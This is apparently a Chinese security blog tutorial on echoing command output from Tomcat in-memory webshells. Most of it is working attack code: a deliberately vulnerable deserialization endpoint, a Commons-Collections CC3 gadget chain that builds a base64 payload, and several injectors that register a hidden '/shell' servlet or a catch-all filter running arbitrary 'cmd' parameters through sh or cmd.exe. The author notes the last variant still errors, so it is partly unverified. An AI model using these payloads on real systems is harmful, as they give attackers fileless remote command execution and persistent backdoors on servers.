Tomcat内存马回显
回顾JSP马
详情见:https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:
- linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰 - 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。 - 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致http包超长,但相对比较通用。
ThreadLocal Response 回显
什么是ThreadLocal
ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力。
举个例子
package org.example;
import java.util.concurrent.TimeUnit;
public class NumUtil {
public static int addNum = 0;
public static int add10(int num) throws InterruptedException {
addNum = num;
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e){
e.printStackTrace();
}
return addNum + 10;
}
}
package org.example;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class threadDemo {
public static void main(String[] args) {
ExecutorService executorService = Executors.newFixedThreadPool(20);
for(int i=0;i<20;i++){
int num = i;
executorService.execute(()->{
try {
System.out.println(num+":"+NumUtil.add10(num));
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
}
executorService.shutdown();
}
}
// 输出
6:29
11:29
13:29
14:29
0:29
3:29
12:29
15:29
17:29
18:29
7:29
16:29
2:29
1:29
9:29
10:29
19:29
8:29
4:29
5:29
一个利用线程来进行对addNum
加数的操作,这结果是不是看着怪怪的,全是29。
这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10
方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29
这样的数字,其他结果也是同样的道理
解决方法有很多,其中一种就是运用ThreadLocal
创建独立的线程变量域:
将之前的工具类改为:
public class NumUtil {
private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();
public static int add10(int num) {
addNumThreadLocal.set(num);
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
return addNumThreadLocal.get() + 10;
}
}
package org.example;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class threadDemo {
public static void main(String[] args) {
ExecutorService executorService = Executors.newFixedThreadPool(20);
for(int i=0;i<20;i++){
int num = i;
executorService.execute(()->{
System.out.println(num+":"+NumUtil.add10(num));
});
}
executorService.shutdown();
}
}
// 输出
4:14
16:26
10:20
18:28
17:27
11:21
9:19
2:12
3:13
8:18
15:25
6:16
7:17
0:10
1:11
13:23
12:22
14:24
19:29
5:15
这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量
ApplicationFilterChain#internalDoFilter
启一个springboot服务(3.0.2),简单的写个servlet,然后打个断点访问就能看到调用栈了
可以看到重复调用了internalDoFilter
,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequest
和lastServicedResponse
,分别都是ThreadLocal类型:
在internalDoFilter
方法中对这两个属性进行了赋值,不过得满足上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject
默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject
进行修改,第二次访问URL就能获取request和response
Springboot版本问题
springboot2和springboot3,它们的if条件不同
springboot2:
springboot3:
反射修改static final属性
在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT
的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的
modifiers实际就是一个int类型的26
,并且每个修饰符都有一个int的值,比如private是2
,static是8
,final是16
那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,图中取反然后按位与操作就是实现减16
JDK版本问题
在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显问题,所以在这里将SpringBoot降到了2.6版本,JDK降到了11
初步构造回显
package com.example.springboot2.controller;
import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
@Controller
public class echoshell {
@RequestMapping("/normal")
@ResponseBody
public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
//反射获取3个属性
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
//去除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
//设置private可访问可修改
modifiersField.setAccessible(true);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
//反射修改lastServiceresponse和lastservicerequest属性的值
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
//修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
//第一次进入时为false和null
if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
System.out.println("in");
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
//第二次进入时就进入了if赋值为了request和response,因此进入else
else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ServletRequest servletRequest = lastServicedRequest.get();
ServletContext servletContext = servletRequest.getServletContext();
System.out.println(servletContext);
System.out.println(servletRequest);
}
return "nothing";
}
}
访问两次成功获取ServletContext
和request
反序列化注入Servlet内存马
准备一个CC3的环境的springboot2,写一个反序列化入口
package com.example.springboot2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
@Controller
public class echoshell {
@RequestMapping("/normal")
@ResponseBody
public void hello(HttpServletRequest request) throws IOException {
System.out.println("in");
byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
try{
System.out.println(objectInputStream.readObject());
} catch (ClassNotFoundException e){
e.printStackTrace();
}
}
}
准备内存马:
package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class shellcode extends AbstractTranslet implements Servlet{
static {
try {
Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
// 去掉final修饰符,设置访问权限
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
// 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
} else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletResponse servletResponse = threadLocalResp.get();
ServletContext servletContext = servletRequest.getServletContext();
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new shellcode();
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
cc3:
package com.f12;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc3.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static String encryptToBase64(String filePath) {
if (filePath == null) {
return null;
}
try {
byte[] b = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(b);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "1");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
byte[][] code = {bytes};
_bytecodes.set(templates, code);
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
// Transformer transformer = templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = constructor.newInstance(Target.class, newMap);
serialize(o);
System.out.println(encryptToBase64("cc3.bin"));
// deserialize("cc3.bin");
// Map<Object, Object> map = new HashMap<>();
// Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
// TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(tiedMapEntry, null);
// map.remove(null);
// Field factory = LazyMap.class.getDeclaredField("factory");
// factory.setAccessible(true);
// factory.set(lazymap, chainedTransformer);
// serialize(hashMap);
// deserialize("cc3.bin");
}
}
访问两次,虽然会报错,但是能成功注入内存马
局限性
上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter
方法,假如序列化触发点在这之前的话就无法注入(比如shiro),并且还有JDK和SpringBoot的版本限制
基于Tomcat全局存储进行回显
通杀某些版本
流程分析
还是起个springboot,简单写个servlet,打个断点看调用栈,定位Http11Processor
,调用了getAdapter().service(request, response);
,其中的request和response都来自父类AbstractProcessor
往上找,在AbstractProtocol#ConnectionHandler
中调用了register方法注册了processor,这里的processor就是上面的Http11processor
:
继续跟进,在register
方法中,有个RequestInfo
类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);
将rp存入global属性中
这个request对象是和之前Http11processor
中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocol
的global
属性当中,那现在需要做的就是如何找到储存了AbstractProtocol
类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint
其中的Handler接口:
思路图如下:
所以现在就是需要获取AbstractProtocol
,我们继续观察调用栈,可以发现在CoyoteAdapter
类中的connector属性中存放了protocolHandler
对象:
protocolHandler
和AbstractProtocol
的继承关系图如下:
并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol
对象,而这刚好就是AbstractProtocol
的子类,我们可以通过向上转型从而获取AbstractProtocol
,然后去获取global
属性,进而获取requestinfo
最后获取request
对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer
方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:
后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:
WebappClassLoaderBase -->
resources(StandardRoot) -->
context(StandardContext) -->
context(ApplicationContext) -->
service(StandardService) -->
connectors(Connector[]) -->
protocolHandler(ProtocolHandler) -->
(转型)protocolHandler(AbstractProtocol) -->
(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
global(RequestGroupInfo) -->
processors(ArrayList) -->
requestInfo(RequestInfo) -->
req(org.apache.coyote.Request) --getNote-->
request(org.apache.connector.Request) -->
response(org.apache.connector.Response)
有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者
内存马回显构造
package com.example.springboot2.filter;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;
@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
String cmd = null;
try {
WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context context = loader.getResources().getContext();
// 获取 ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
// 获取 StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
// 获取 Connector 并筛选 HTTP Connector
Connector[] connectors = standardService.findConnectors();
for (Connector connector : connectors) {
if (connector.getScheme().contains("http")) {
// 获取 AbstractProtocol 对象
AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
// 获取 AbstractProtocol$ConnectionHandler
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
// global(RequestGroupInfo)
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
// processors (ArrayList)
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global);
for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
// 依据 QueryString 获取对应的 RequestInfo
if (requestInfo.getCurrentQueryString().contains("cmd")) {
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// org.apache.coyote.Request
Request requestTemp = (Request) reqField.get(requestInfo);
// org.apache.catalina.connector.Request
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
// 执行命令
cmd = request.getParameter("cmd");
String[] cmds = null;
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("//A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = request.getResponse().getWriter();
writer.write(output);
writer.flush();
writer.close();
break;
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
chain.doFilter(request1, response1);
}
}
主类记得加上扫描注解
package com.example.springboot2;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;
@SpringBootApplication
@ServletComponentScan
public class Springboot2Application {
public static void main(String[] args) {
SpringApplication.run(Springboot2Application.class, args);
}
}
局限性
该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄
通过遍历进程来获取Context
package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;
public class Tomcat6789 extends AbstractTranslet implements Servlet {
public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}
public Tomcat6789() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
String uri = "";
String serverName = "";
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
serverName = (String) getField(serverNameMB, "strValue");
if (serverName == null){
serverName = serverNameMB.toString();
}
if (serverName == null){
serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
uri = (String) getField(uriMB, "strValue");
if (uri == null){
uri = uriMB.toString();
}
if (uri == null){
uri = uriMB.getString();
}
}
}
Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads2) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){}
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}
children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(serverName);
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
Servlet myServlet = new Tomcat6789();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName("xxx");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(myServlet);
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell", "xxx");
}
}
}
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
//普通回显
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,这样进而获取其中的context,然后再注入内存马。但是似乎代码逻辑有问题,springboot2+tomcat9的环境下会报错,其它环境未尝试,待解决....